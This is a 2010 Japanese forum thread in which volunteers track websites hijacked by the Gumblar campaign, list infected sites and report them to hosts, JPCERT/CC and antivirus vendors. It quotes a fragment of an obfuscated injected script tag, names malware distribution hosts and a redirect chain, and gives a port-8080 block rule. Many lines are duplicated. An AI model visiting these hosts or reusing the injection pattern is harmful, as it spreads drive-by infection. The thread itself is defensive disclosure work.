ttp://money●zarathustra-wins●net/2010/01/%E3%82%AC%E3%83%B3%E3%83%96%E3%83%A9%E3%83%BC%E5%AF%BE%E7%AD%96%E3%81%AE%E6%83%85%E5%A0%B1%E3%81%AE%E3%81%BE%E3%81%A8%E3%82%81/
鑑定スレに貼ってたな
鑑定スレに貼ってたな
273 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 12:07:41
日創研石川経営研究会
ウィルスに感染したのに告知無しで復旧
こういうところの会員も同じ穴の狢でモラルもないんだろうな。
ウィルスに感染したのに告知無しで復旧
こういうところの会員も同じ穴の狢でモラルもないんだろうな。
274 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 12:11:41
>研究会
うさんくせー
うさんくせー
275 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 12:24:59
専スレがあるじゃん
276 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 13:33:38
277 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 13:59:43
>>272
だが
ttp://www.zarathustra-wins.net/のサイトにある
ガンブラー対策のページだな
そこがやられたらしい
272のURLでググるとガンブラー質問系のサイトに結構貼られてるが罠か？
だが
ttp://www.zarathustra-wins.net/のサイトにある
ガンブラー対策のページだな
そこがやられたらしい
272のURLでググるとガンブラー質問系のサイトに結構貼られてるが罠か？
278 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 16:07:57
日創研石川経営研究会に電凸してみました
改竄の件は把握していない模様
ttp://www.aguse.jp/?m=w&url=www.i-keiei.jp&x=43&y=16
↑の076-234-5554あいびーらぼ？がHPを作っていると認めました
＞あいびーらぼ？さん
折り返しの電話ありませんねw
自分達のスキルに自信があるのでしょうね
このスレの情報以外の所も改竄されている様ですが、見つけられるかなw
改竄の件は把握していない模様
ttp://www.aguse.jp/?m=w&url=www.i-keiei.jp&x=43&y=16
↑の076-234-5554あいびーらぼ？がHPを作っていると認めました
＞あいびーらぼ？さん
折り返しの電話ありませんねw
自分達のスキルに自信があるのでしょうね
このスレの情報以外の所も改竄されている様ですが、見つけられるかなw
279 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 16:24:15
www●j-sports●or●jp
www●itofound●or●jp
cgi●members●interq.or●jp/aquamarine/ruvi/
www●itofound●or●jp
cgi●members●interq.or●jp/aquamarine/ruvi/
280 ：オルティス・ジャパン：2010/05/29(土) 16:57:52
281 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 17:00:24
＞www●j-sports●or●jp
CSJスポーツのサイト!?
CSJスポーツのサイト!?
282 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 17:09:48
管理人「gumbler？うっせぇバーカ」
283 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 17:21:50
あ
284 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 17:26:44
今日は所属してるボランティア団体が所有してるPC１０台に、>>4 を施した。
VistaのマシンなんだがSP2すら当たっていなかったので心配だった。
普段は車に積んで移動してるので、なかなかメンテナンスの機会がなくて
たまにＥモバなんかでネットに繋いだりするもんだからヒヤヒヤもので．．．
VistaのマシンなんだがSP2すら当たっていなかったので心配だった。
普段は車に積んで移動してるので、なかなかメンテナンスの機会がなくて
たまにＥモバなんかでネットに繋いだりするもんだからヒヤヒヤもので．．．
285 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 17:54:32
>>279
www●j-sports●or●jp
www●itofound●or●jp
cgi●members●interq.or●jp/aquamarine/ruvi/
メル凸済み、反応待ち
>>280
一応、so-netとJPCERT/CCにも通報してあります
コレでダメなら別の手を考えますよ…
>>281
ジェイスポーツは「www●jsports●co●jp」
感染してるのは「横浜市・川崎市サッカークラブ」です
www●j-sports●or●jp
www●itofound●or●jp
cgi●members●interq.or●jp/aquamarine/ruvi/
メル凸済み、反応待ち
>>280
一応、so-netとJPCERT/CCにも通報してあります
コレでダメなら別の手を考えますよ…
>>281
ジェイスポーツは「www●jsports●co●jp」
感染してるのは「横浜市・川崎市サッカークラブ」です
286 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 18:16:19
告知もせず駆除するだけなんだなあ
個人ならまだわかる、でも法人が平然とやってのける
マジであきれる
個人ならまだわかる、でも法人が平然とやってのける
マジであきれる
287 ：コテハン ◆8080adndqg ：2010/05/29(土) 18:16:44
【陥落サイトのURL悪用厳禁】
fps01●plala●or●jp/~zeiken/
www●marbell●jp/img2/photo/tenonaru/index●html
www●pflaster●co●jp/contact/
fps01●plala●or●jp/~zeiken/
www●marbell●jp/img2/photo/tenonaru/index●html
www●pflaster●co●jp/contact/
288 ：コテハン ◆8080adndqg ：2010/05/29(土) 18:34:54
>>284
穴があるかもしれないPCには
Firefox＋NoScript＋AdblockPlus＋RequestPolicy
この組み合わせを推奨する。
NoScript→<IFRAME>禁止にチェックを入れる
AdblockPlus→|http://*:8080/* をブロック
穴があるかもしれないPCには
Firefox＋NoScript＋AdblockPlus＋RequestPolicy
この組み合わせを推奨する。
NoScript→<IFRAME>禁止にチェックを入れる
AdblockPlus→|http://*:8080/* をブロック
289 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 19:02:18
290 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 19:03:07
Firefoxなどのブラウザは、MSEや無料版アンチウイルスの幾つかなどトラフィックスキャンをしないものとは組み合わせることは好ましくない
JavascriptはどうしてもONにすることがあると思う、その時にスキャンできず素通りしてしまってる
JavascriptはどうしてもONにすることがあると思う、その時にスキャンできず素通りしてしまってる
291 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 19:06:18
d-pic●net
292 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 19:15:08
Firefoxはむしろダメだろ
293 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 19:50:20
だなIEが一番
294 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 20:16:12
295 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 20:42:23
296 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 21:10:09
テンプラの対策してたらIE8でも保護モードで運用すれば
ゼロDay食わない限りそうそう怖いことなかろうて
ゼロDay食わない限りそうそう怖いことなかろうて
297 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 21:45:37
>>273-276
15:50着、かすぺ対応とのこと、持ってる人は確認お願いぽ。
> Trojan-Downloader.JS.Pegel.av
> New malicious software was found in these files. Detection will be included in the next update. Thank you for your help.
>>278
乙乙。
鯖缶につーほーしておいてた返事、担当に伝えるとのこと。
15:50着、かすぺ対応とのこと、持ってる人は確認お願いぽ。
> Trojan-Downloader.JS.Pegel.av
> New malicious software was found in these files. Detection will be included in the next update. Thank you for your help.
>>278
乙乙。
鯖缶につーほーしておいてた返事、担当に伝えるとのこと。
やっぱ未修正があるー。。。
300 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 21:55:55
>>279
おいおいそれってスカパーとかCATVのスポーツかよ？
おいおいそれってスカパーとかCATVのスポーツかよ？
301 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 21:57:04
302 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 21:58:17
>>300
CSのJスポーツはwww●jsports●co●jp
CSのJスポーツはwww●jsports●co●jp
ボランティア団体の方針で、ブラウザはＩＥ７ということになってて．．．
つまりその、テキストと画面のデザインがほんのちょっとでも異なると
講習生がとまどうからという理由で。
つまりその、テキストと画面のデザインがほんのちょっとでも異なると
講習生がとまどうからという理由で。
304 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 22:23:21
あー、テキストって教習本のことか。
買い換えろ！
つか実施で説明できない人が教えてんのか。
買い換えろ！
つか実施で説明できない人が教えてんのか。
306 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 22:33:11
馬鹿のくせに偉そうに指示するな
307 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 22:38:48
>>303
今後のことを考えても全く一緒なことはありえないから
画面は多少変わることもあることを口頭で良いから教えるべきだとは思う
家にあるPCがテキストと違うと使えないってことになるだろ
まあ車と違ってコロコロUI変えちゃってる方にも問題はあるんだけども
今後のことを考えても全く一緒なことはありえないから
画面は多少変わることもあることを口頭で良いから教えるべきだとは思う
家にあるPCがテキストと違うと使えないってことになるだろ
まあ車と違ってコロコロUI変えちゃってる方にも問題はあるんだけども
309 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 23:20:51
このスレにFirefoxのアンチがいる
310 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 23:25:09
お前や
311 ：名無しさん＠お腹いっぱい。：2010/05/29(土) 23:32:33
逆で無知なくせに無闇に薦めるやつがいるだけ
みなさんご心配いただいてありがとう
なにぶん、講習生はお年寄りが対象なので、幹部連中は...
「セキュリティに関してはあまり教え過ぎるとせっかくのやる気をそぐし、
してはいけないことだらけでつまらなくて結局身に付かない」
...ということで、WindowsUpdateを教えることさえあまり乗り気ではないのですよ。
それに、件のパソコンは、長い時にはひと月に一日使うか使わないかっ
ていう利用頻度なもので、ネットにもあまり繋がないのでセキュリティ
アップデートかけるチャンスもなかなかないんです。
それでいていざ講習会が始まると、週一でネットには繋ぐけど
講習の準備と撤収作業が忙しくてアップデートどころじゃなくなっちゃうんで
かえって危ないです。
なにぶん、講習生はお年寄りが対象なので、幹部連中は...
「セキュリティに関してはあまり教え過ぎるとせっかくのやる気をそぐし、
してはいけないことだらけでつまらなくて結局身に付かない」
...ということで、WindowsUpdateを教えることさえあまり乗り気ではないのですよ。
それに、件のパソコンは、長い時にはひと月に一日使うか使わないかっ
ていう利用頻度なもので、ネットにもあまり繋がないのでセキュリティ
アップデートかけるチャンスもなかなかないんです。
それでいていざ講習会が始まると、週一でネットには繋ぐけど
講習の準備と撤収作業が忙しくてアップデートどころじゃなくなっちゃうんで
かえって危ないです。
313 ：あんちたった ◆MOTO.0SDfQ ：2010/05/30(日) 00:59:43
ＴＴＰ://www●aoisys●com/nonstyle/
314 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 01:28:40
帰省ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!
315 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 01:38:32
www●cheesecake●co.jp/cp/2010present05/
ヤフー懸賞経由で応募しようとリンク踏んだらノートン先生の警告でた。
さらに、aguseで、「Gumblarの可能性あり」と出てたから、ヤフーと懸賞主催者に伝えたけど、両者から感染してないわボケと言われたけど、感染してるよね？
ヤフー懸賞経由で応募しようとリンク踏んだらノートン先生の警告でた。
さらに、aguseで、「Gumblarの可能性あり」と出てたから、ヤフーと懸賞主催者に伝えたけど、両者から感染してないわボケと言われたけど、感染してるよね？
316 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 01:46:20
>>315
site.jsとかやられてるっち。
site.jsとかやられてるっち。
317 ：あんちたった ◆MOTO.0SDfQ ：2010/05/30(日) 02:19:47
ちょｗｗｗヤフーまでそんなこと言ってんの？
もしかしてHTMLしかみてないの？
もしかしてHTMLしかみてないの？
318 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 02:40:22
なかなかやるものだなaguse
319 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 02:41:35
>>315
これどこにあるの？
これどこにあるの？
320 ：あんちたった ◆MOTO.0SDfQ ：2010/05/30(日) 02:46:58
321 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 03:17:08
>>315
ボケまで言わないだろw
また電話して録音してみれば？
http://jsunpack.jeek.org/dec/go?report=7130e159282202ef242480c9a65e9a67430adf2f
ボケまで言わないだろw
また電話して録音してみれば？
http://jsunpack.jeek.org/dec/go?report=7130e159282202ef242480c9a65e9a67430adf2f
該当サイトにフォームから戸津
鯖缶にもフォームから戸津
やほにもフォームから戸津
ついでにめるぽ
>>315が事実なら由々しき事態。
っと言いたいけど、jsファイルのみの感染の場合（ほかにもあるかもしんないけどー）
結構見逃されがちでこちらから指摘しないと対応されないぽ。。。
鯖缶にもフォームから戸津
やほにもフォームから戸津
ついでにめるぽ
>>315が事実なら由々しき事態。
っと言いたいけど、jsファイルのみの感染の場合（ほかにもあるかもしんないけどー）
結構見逃されがちでこちらから指摘しないと対応されないぽ。。。
んでついでにVT通して送った検体だけど
かすぺは既に対応済みのこと。
> - HEUR:Trojan-Downloader.Script.Generic
> This files are already detected. Please update your bases.
VTのタイムラグか。。。orz......
ごめんよ、ひげおぢさん。
かすぺは既に対応済みのこと。
> - HEUR:Trojan-Downloader.Script.Generic
> This files are already detected. Please update your bases.
VTのタイムラグか。。。orz......
ごめんよ、ひげおぢさん。
315
ごめん。ボケとまでは言われてないです。
ヤフーは、担当者に報告し検証した後、対処すると言われて2週間過ぎましたが、未だに応募可能たし、ウイルス感染無しと判断したんだなと。
懸賞主催者は、調べましたが、ウイルスに感染してません。ウイルスが蔓延してますので、チェックを2重にして気をつけると言われました。
なので、もう、シラネと思ってましたが、このスレ見て一応、このスレを読んでる人だけには報告しておこうと書き込みました。
ごめん。ボケとまでは言われてないです。
ヤフーは、担当者に報告し検証した後、対処すると言われて2週間過ぎましたが、未だに応募可能たし、ウイルス感染無しと判断したんだなと。
懸賞主催者は、調べましたが、ウイルスに感染してません。ウイルスが蔓延してますので、チェックを2重にして気をつけると言われました。
なので、もう、シラネと思ってましたが、このスレ見て一応、このスレを読んでる人だけには報告しておこうと書き込みました。
325 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 09:48:17
このサイトのホスティングの「TSUKAERUNET」に通報すればよかったのに。
対応はいいホスティング会社なので、それらばもう止まってたかも
対応はいいホスティング会社なので、それらばもう止まってたかも
326 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 10:10:35
↓直接このURL送っておけば対応はやかったかもな。
ttp://www●cheesecake●co●jp/user_data/packages/org/js/site●js
ttp://www●cheesecake●co●jp/user_data/packages/org/js/site●js
327 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 10:22:28
>>315-316
これ、感染が結構古くない？ Wepawetに投げてみたけど、こういう結果だった。
http://wepawet.iseclab.org/view.php?hash=d048d4b80057b854928823d9ef22c31f&t=1275179400&type=js
確かに感染しているんだけど、既に8080のマルウェア配布先が死んでる。（※）
なんで、悪意のある、感染させる方としてはとっくにyahooは用済み状態。
これ、yahooの感染～マルウェア配布鯖停止まで気がつかれなかったとしたら、かなりヤバイ。
（※） Wepawerの解析結果で、Requestsの所の、http://gothguilt●ru:8080/google●com/espn●go●com/qip●ru●php
がマルウェアの配布元。 ここにアクセスに行くんだけど、既にStatus = Errorの通り、何も起きない。
私の方もVirtualPC使って無防備で踏んでみたけど、“今は” やっぱり何も落ちてこなかった。 現状無害だけど、どれだけ被害出たんだろう．．．orz
これ、感染が結構古くない？ Wepawetに投げてみたけど、こういう結果だった。
http://wepawet.iseclab.org/view.php?hash=d048d4b80057b854928823d9ef22c31f&t=1275179400&type=js
確かに感染しているんだけど、既に8080のマルウェア配布先が死んでる。（※）
なんで、悪意のある、感染させる方としてはとっくにyahooは用済み状態。
これ、yahooの感染～マルウェア配布鯖停止まで気がつかれなかったとしたら、かなりヤバイ。
（※） Wepawerの解析結果で、Requestsの所の、http://gothguilt●ru:8080/google●com/espn●go●com/qip●ru●php
がマルウェアの配布元。 ここにアクセスに行くんだけど、既にStatus = Errorの通り、何も起きない。
私の方もVirtualPC使って無防備で踏んでみたけど、“今は” やっぱり何も落ちてこなかった。 現状無害だけど、どれだけ被害出たんだろう．．．orz
>>327
ちなみに、site.jsのVT結果。誰かが最近投げたばかりなので、そのまま引用。
http://www.virustotal.com/jp/analisis/d3698d3fca4c319a19346e9451a437b99a4354533d8020dc559c28e686a2717b-1275156778
現時点でも検出 5/41とか．．．終わったねぇ。orz NortonとKasperskyはヒューリスティックで検出するみたいだけど、その他はどうなっている事やら。
ちなみに、site.jsのVT結果。誰かが最近投げたばかりなので、そのまま引用。
http://www.virustotal.com/jp/analisis/d3698d3fca4c319a19346e9451a437b99a4354533d8020dc559c28e686a2717b-1275156778
現時点でも検出 5/41とか．．．終わったねぇ。orz NortonとKasperskyはヒューリスティックで検出するみたいだけど、その他はどうなっている事やら。
>>315,327
あ、スマン。Yahooが感染していたんじゃなくて、Yahooの懸賞の所に、感染したサイトがリンクされてたのか。
感染していたのは cheesecake●co●jp の方ですね。スミマセン
あ、スマン。Yahooが感染していたんじゃなくて、Yahooの懸賞の所に、感染したサイトがリンクされてたのか。
感染していたのは cheesecake●co●jp の方ですね。スミマセン
330 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 10:47:56
>>327
[Trend Micro Security Blog]から引用
http://blog.trendmicro.co.jp/archives/3340
>3 不正スクリプトによる不正サイトへの接続は、同じIPアドレスからは初回接続時（または初回接続後のわずかな時間）しか本来の（不正な）応答がされない。
＝＞マルウェアサンプルの入手が困難になる。
IPアドレス以外に時間などで制御する可能性もありますし、まだ有害かもしれません
[Trend Micro Security Blog]から引用
http://blog.trendmicro.co.jp/archives/3340
>3 不正スクリプトによる不正サイトへの接続は、同じIPアドレスからは初回接続時（または初回接続後のわずかな時間）しか本来の（不正な）応答がされない。
＝＞マルウェアサンプルの入手が困難になる。
IPアドレス以外に時間などで制御する可能性もありますし、まだ有害かもしれません
331 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 11:21:03
cheesecake●co●jpのサイト運営は、実質ここみたい
有限会社みのりや
www●minoriya●co●jp/result/
ここが大丈夫ですって言っているのでしょうね
有限会社みのりや
www●minoriya●co●jp/result/
ここが大丈夫ですって言っているのでしょうね
332 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 11:21:49
>>315
user_data/packages/org/js/css.js infected with JS.Redirector.based.3
user_data/packages/org/js/navi.js infected with JS.Redirector.based.3
user_data/packages/org/js/win_op.js infected with JS.Redirector.based.3
user_data/packages/org/js/itembox.js infected with JS.Redirector.based.3
user_data/packages/org/js/site.js infected with JS.Redirector.based.3
メル凸済み、反応待ち
user_data/packages/org/js/css.js infected with JS.Redirector.based.3
user_data/packages/org/js/navi.js infected with JS.Redirector.based.3
user_data/packages/org/js/win_op.js infected with JS.Redirector.based.3
user_data/packages/org/js/itembox.js infected with JS.Redirector.based.3
user_data/packages/org/js/site.js infected with JS.Redirector.based.3
メル凸済み、反応待ち
>>330
ん～、確かに私がアクセス制御に引っかかった可能性はあるね。
とりあえず、流れをみるとサイト管理者の対応が糞らしいので、IE8のSmartScreenと、Firefox経由でGoogleSafeBlowsingに通報しておいた。
このまま放置されていれば、多分、数日中には赤くなるはず。 管理者は逆に青くなると思うが。（苦笑
ん～、確かに私がアクセス制御に引っかかった可能性はあるね。
とりあえず、流れをみるとサイト管理者の対応が糞らしいので、IE8のSmartScreenと、Firefox経由でGoogleSafeBlowsingに通報しておいた。
このまま放置されていれば、多分、数日中には赤くなるはず。 管理者は逆に青くなると思うが。（苦笑
>>332は
Last-Modified: Thu, 13 May 2010 11:14:38 GMT
Last-Modified: Thu, 13 May 2010 11:17:39 GMT
Last-Modified: Thu, 13 May 2010 11:18:05 GMT
Last-Modified: Thu, 13 May 2010 11:16:35 GMT
Last-Modified: Thu, 13 May 2010 11:17:49 GMT
>>324
> 2週間過ぎました
やほーは音沙汰無しでぷか。。。
Last-Modified: Thu, 13 May 2010 11:14:38 GMT
Last-Modified: Thu, 13 May 2010 11:17:39 GMT
Last-Modified: Thu, 13 May 2010 11:18:05 GMT
Last-Modified: Thu, 13 May 2010 11:16:35 GMT
Last-Modified: Thu, 13 May 2010 11:17:49 GMT
>>324
> 2週間過ぎました
やほーは音沙汰無しでぷか。。。
335 ：八頭 ◆YAGApwSaEw ：2010/05/30(日) 11:48:35
直通なんてやめて
K察庁経由で伝えてもらえ
K察庁経由で伝えてもらえ
336 ：コテハン ◆8080adndqg ：2010/05/30(日) 11:59:26
一件だけ投下しとくにゃ
【陥落サイトのURL悪用厳禁】
adajo●namidaame●com
凸してくれてる人＞乙です orz
【陥落サイトのURL悪用厳禁】
adajo●namidaame●com
凸してくれてる人＞乙です orz
337 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 13:54:27
>>280
ここって宗教団体のようですね
ttp://www●itofound●or●jp/contents/aisatsu●html
当財団は、宗教法人真如苑開祖、故伊藤真乗大僧正の遺志を受け継ぎ…
真如苑 vol.75
http://gimpo.2ch.net/test/read.cgi/psy/1269487603/
ここって宗教団体のようですね
ttp://www●itofound●or●jp/contents/aisatsu●html
当財団は、宗教法人真如苑開祖、故伊藤真乗大僧正の遺志を受け継ぎ…
真如苑 vol.75
http://gimpo.2ch.net/test/read.cgi/psy/1269487603/
338 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 14:19:30
そういやyahooの占いのページが以前やられていたな
今回はyahooのトップページを開く分には大丈夫なんだろ？
今回はyahooのトップページを開く分には大丈夫なんだろ？
339 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 14:53:27
>>337
googleは既に赤くなってる。
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?hl=ja&site=http://www.itofound.or.jp/
早く対応しないから...w
>>338
問題ない。懸賞のページから、>315のリンク先に飛ぶとアウトだったらしい。
googleは既に赤くなってる。
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?hl=ja&site=http://www.itofound.or.jp/
早く対応しないから...w
>>338
問題ない。懸賞のページから、>315のリンク先に飛ぶとアウトだったらしい。
340 ：コテハン ◆8080adndqg ：2010/05/30(日) 18:33:32
【陥落サイトのURL悪用厳禁】
www●ooraka●com/
<TITLE>パソコン在宅ワーク・常識を超えたパソコン在宅ワーク！</TITLE>
マルウェアが勝手に仕事をしてくれるのが「常識を超えた」ということでしょうかネ？
以下、どーでも良いようなカスサイト
canyonhardware●com/
maillady●hirotu●net/
www●kireibast●sakura●ne●jp/exlwckaj
www●ooraka●com/
<TITLE>パソコン在宅ワーク・常識を超えたパソコン在宅ワーク！</TITLE>
マルウェアが勝手に仕事をしてくれるのが「常識を超えた」ということでしょうかネ？
以下、どーでも良いようなカスサイト
canyonhardware●com/
maillady●hirotu●net/
www●kireibast●sakura●ne●jp/exlwckaj
341 ：名無しさん＠お腹いっぱい。：2010/05/30(日) 20:13:48
342 ：あんちたった ◆MOTO.0SDfQ ：2010/05/30(日) 20:26:09
>>326
その書き込みの時点で既に実行済み
その書き込みの時点で既に実行済み
343 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 01:13:25
www●pflaster●co●jp ：Forbidden
d-pic●net ：Forbidden
cgi●members●interq●or●jp/aquamarine/ruvi/ ：Forbidden
www●garden-bank●com ：aguse、Gred、Dr.Webともに反応せず
cowgirl●jp ：閉鎖？
www●barakai●com ：aguse、Gred、Dr.Webともに反応せず
www●allety●net ：閉鎖？
ソース確認してません、暇してるよって方は精査して頂けると助かります
他はまだ駄目みたいなので明日にでも再凸…
>>340
カスサイトとやらをまとめてJPCERT/CCに報告しておきました
ていうかこれ、いつ終息するんでしょorz
d-pic●net ：Forbidden
cgi●members●interq●or●jp/aquamarine/ruvi/ ：Forbidden
www●garden-bank●com ：aguse、Gred、Dr.Webともに反応せず
cowgirl●jp ：閉鎖？
www●barakai●com ：aguse、Gred、Dr.Webともに反応せず
www●allety●net ：閉鎖？
ソース確認してません、暇してるよって方は精査して頂けると助かります
他はまだ駄目みたいなので明日にでも再凸…
>>340
カスサイトとやらをまとめてJPCERT/CCに報告しておきました
ていうかこれ、いつ終息するんでしょorz
344 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 01:18:56
>>343追記
「Forbidden」はaguseGWで確認してます
「Forbidden」はaguseGWで確認してます
345 ：コテハン ◆8080adndqg ：2010/05/31(月) 11:55:44
>>341,343 乙です～
【陥落サイトのURL悪用厳禁】
www●jc-consulting●jp/houkoku_m/index3●html ←絶賛放置中(再再再再･･･晒し)
www●hdta●jp ←絶賛放置中
ayako●h00●jp ←うんこ対応中 ※<!--<script>-->
www●jyoho-review●jp/link/ ←絶賛放置中
www●jyoho-review●jp/item_list/ ←(ﾟдﾟ;)
d-pic●net/ ←トップページのみ閉鎖
d-pic●net/以下の階層は絶賛公開中
↓
www●google●co●jp/search?hl=ja&source=hp&q=site%3Ad-pic●net%2F
fps01●plala●or●jp/~zeiken/ ←絶賛放置中
neta-script●lionking●jp/2007/08/ ←絶賛放置中
【陥落サイトのURL悪用厳禁】
www●jc-consulting●jp/houkoku_m/index3●html ←絶賛放置中(再再再再･･･晒し)
www●hdta●jp ←絶賛放置中
ayako●h00●jp ←うんこ対応中 ※<!--<script>-->
www●jyoho-review●jp/link/ ←絶賛放置中
www●jyoho-review●jp/item_list/ ←(ﾟдﾟ;)
d-pic●net/ ←トップページのみ閉鎖
d-pic●net/以下の階層は絶賛公開中
↓
www●google●co●jp/search?hl=ja&source=hp&q=site%3Ad-pic●net%2F
fps01●plala●or●jp/~zeiken/ ←絶賛放置中
neta-script●lionking●jp/2007/08/ ←絶賛放置中
346 ：コテハン ◆8080adndqg ：2010/05/31(月) 12:28:32
【陥落サイトのURL悪用厳禁】
www●spiceheads.com/index●html
↓
最下部の8080以外に
<body link="#DB0000"～中略～<script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70･･･
↓
79●135●152●181/stats/go●php?sid=1
※直接踏んだらGoogleに飛ばされて終了orz
この前の<ijbwjuics src=←の後継かな？
www●spiceheads.com/index●html
↓
最下部の8080以外に
<body link="#DB0000"～中略～<script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70･･･
↓
79●135●152●181/stats/go●php?sid=1
※直接踏んだらGoogleに飛ばされて終了orz
この前の<ijbwjuics src=←の後継かな？
347 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 12:38:43
・レジナからwww●j-sports●or●jpへウイルスを駆除する様に伝えたとの連絡あり（まだ感染中…）
・つかえるネットからwww●cheesecake●co●jpのサービスを停止しましたとの連絡あり
www●i-keiei●jp ：Forbidden
fps01●plala●or●jp/~zeiken ：Forbidden
残りはもうしばらく静観
カスサイト、駄目くさいですがどうしたもんでしょう…
・つかえるネットからwww●cheesecake●co●jpのサービスを停止しましたとの連絡あり
www●i-keiei●jp ：Forbidden
fps01●plala●or●jp/~zeiken ：Forbidden
残りはもうしばらく静観
カスサイト、駄目くさいですがどうしたもんでしょう…
348 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 14:02:39
>>346
いつもお世話さん
…なんだが、【陥落サイトのURL悪用厳禁】 って書くから悪用するヤツが増えるんじゃないか？
どうせ悪意のあるヤツは書いてもやるだろうし
それに「危険」って書いてあるボタンを押したくなるの法則
いつもお世話さん
…なんだが、【陥落サイトのURL悪用厳禁】 って書くから悪用するヤツが増えるんじゃないか？
どうせ悪意のあるヤツは書いてもやるだろうし
それに「危険」って書いてあるボタンを押したくなるの法則
349 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 14:48:29
> IPAセキュリティセンターです。
> ご連絡、ありがとうございます。
> 当機構でも当該サイトの改ざんを確認しました。
> 改ざんが確認できたサイトの管理者宛てに、サイトが改ざんされている
> 旨の通告をしておきます。
2時間で返事が来たよ…仕事早いな
>>345
お疲れ様です
カスペルスキーがIflamerで検出、ついでにAviraに検体提出
>>346
さくらに通報しようと思ったらメルフォで蹴られた…何故に
他のは後でまとめて見ておきます
>>348
はずせないんじゃない？
過去にいちゃもんつけられてるし
> ご連絡、ありがとうございます。
> 当機構でも当該サイトの改ざんを確認しました。
> 改ざんが確認できたサイトの管理者宛てに、サイトが改ざんされている
> 旨の通告をしておきます。
2時間で返事が来たよ…仕事早いな
>>345
お疲れ様です
カスペルスキーがIflamerで検出、ついでにAviraに検体提出
>>346
さくらに通報しようと思ったらメルフォで蹴られた…何故に
他のは後でまとめて見ておきます
>>348
はずせないんじゃない？
過去にいちゃもんつけられてるし
350 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 15:13:10
取扱注意
www●rokudai-ouen●com
www●rokudai-ouen●com
351 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 15:28:03
>>350
Last-Modified: Thu, 20 May 2010 02:42:03 GMT
Last-Modified: Thu, 20 May 2010 02:42:03 GMT
352 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 17:37:11
353 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 17:51:16
www●spiceheads●com ：Forbidden
www●ooraka●com ：Forbidden
www●itofound●or●jp ：aguse、Gred、Dr.Webともに反応なし/精査よろ
www●rokudai-ouen●com ：Forbidden
www●ooraka●com ：Forbidden
www●itofound●or●jp ：aguse、Gred、Dr.Webともに反応なし/精査よろ
www●rokudai-ouen●com ：Forbidden
354 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 17:53:07
www●m-ouen●com ：Forbidden
355 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 17:55:36
>>352
Gumblar.x確認
exeter-relatives-forum●org●uk/images/hnx5v/gifimg●php
↓
mariosflyingpizzaclearlake●com/images/appetizers●php
↓
latifkm●com/Css/templet11●php
↓
sexfunbeach●com/blogs/moms/wp-content/plugins/index●php
↓
asgardr●fr/memo/robots●php
↓
以後追跡不能
現時点では無害だけど、つーほーしたほうが良いと思う
Gumblar.x確認
exeter-relatives-forum●org●uk/images/hnx5v/gifimg●php
↓
mariosflyingpizzaclearlake●com/images/appetizers●php
↓
latifkm●com/Css/templet11●php
↓
sexfunbeach●com/blogs/moms/wp-content/plugins/index●php
↓
asgardr●fr/memo/robots●php
↓
以後追跡不能
現時点では無害だけど、つーほーしたほうが良いと思う
356 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 19:36:18
Gumblar.Xは既に日本を蹴ってるんじゃなかったっけ
>>356
踏み台は結構あるよ。
踏み台は結構あるよ。
358 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 20:54:21
>>345
＞www●jc-consulting●jp/houkoku_m/index3●html ←絶賛放置中(再再再再･･･晒し)
NTTPCコミュニケーションズに電凸
折り返しの電話があり、対応する旨の話しでした
＞www●jc-consulting●jp/houkoku_m/index3●html ←絶賛放置中(再再再再･･･晒し)
